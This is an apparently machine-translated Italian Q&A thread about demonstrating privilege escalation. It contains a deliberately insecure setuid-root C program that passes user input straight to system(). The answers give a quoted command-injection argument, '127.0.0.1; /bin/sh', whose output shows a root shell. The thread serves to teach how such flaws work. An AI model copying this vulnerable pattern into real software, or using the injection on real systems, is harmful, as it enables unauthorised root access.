Escalation dei privilegi: funzioni C setuid (0) con system () che non funziona in Linux

0

Dichiarazione di non responsabilità: I fully capisce che il codice che sto tentando di scrivere non è sicuro e consente agli utenti arbitrari di eseguire l'escalation su root. Sto scrivendo un semplice programma in C come questo per dimostrare come l'escalation privilegiata funzioni a coloro che non conoscono.

Quello che ho adesso è un semplice programma C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int BUFFERSIZE = 512;

void main(int argc, char** argv) {
  char ipaddr[BUFFERSIZE];
  snprintf(ipaddr, BUFFERSIZE, "ping -c 4 %s", argv[1]);
  if(setuid(0) == -1) printf("setUID ERROR");
  system(ipaddr);
}

Compilare questo codice come root e impostare le autorizzazioni in questo modo:

-rwsr-xr-x 1 root root 16840 Oct 28 14:13 pingSys

Come puoi vedere, il bit setUID viene capovolto. Quindi, che dovrebbe accadere, è se eseguo il programma in questo modo:

./pingSys 127.0.0.1; /bin/sh

Dovrebbe eseguire ping -c 4 127.0.0.1; /bin/sh come utente root e generare una shell. Invece, ho capito:

user@localhost:~/privEsc$ ./pingSys 127.0.0.1; /bin/sh
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.034 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.089 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.118 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.089 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 59ms
rtt min/avg/max/mdev = 0.034/0.082/0.118/0.031 ms
$ whoami
user

Cosa c'è che non va qui? Ho il bit setUID capovolto nell'eseguibile, e ho anche provato a eseguire la funzione setuid(0) , che non genera un errore. Sono molto confuso sul motivo per cui non riesco a generare una shell come root perché ovunque abbia funzionato, ho funzionato.

Qualche idea?

    
posta FRZ 28.10.2018 - 21:42
fonte

2 risposte

4
./pingSys 127.0.0.1; /bin/sh

Il punto e virgola verrà interpretato come un delimitatore di comando dalla shell corrente. Ciò significa che per prima cosa eseguirà ./pingSys 127.0.0.1 nella shell corrente e quindi /bin/sh nella shell corrente, cioè generando una nuova shell con le autorizzazioni correnti (non privilegiate).

Ciò che invece devi fare è mettere le virgolette attorno al tuo argomento in modo che venga passato per intero al tuo programma pingSys invece di essere interpretato dalla shell corrente:

 $ ./pingSys '127.0.0.1; /bin/sh'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.071 ms
...
# whoami
root
    
risposta data 28.10.2018 - 22:23
fonte
4

Quindi, poiché non hai citato il parametro, stai passando due comandi separati alla tua shell non elevata. Uno di questi viene eseguito come root e chiama ping . L'altro viene eseguito come utente e genera una sotto-shell. Il tuo comando è equivalente a questo:

$ ./pingSys 127.0.0.1
$ /bin/sh

La prima riga viene eseguita come root, la seconda come utente corrente. Citare il parametro completo dovrebbe farlo funzionare come ci si aspetta.

    
risposta data 28.10.2018 - 22:27
fonte

Leggi altre domande sui tag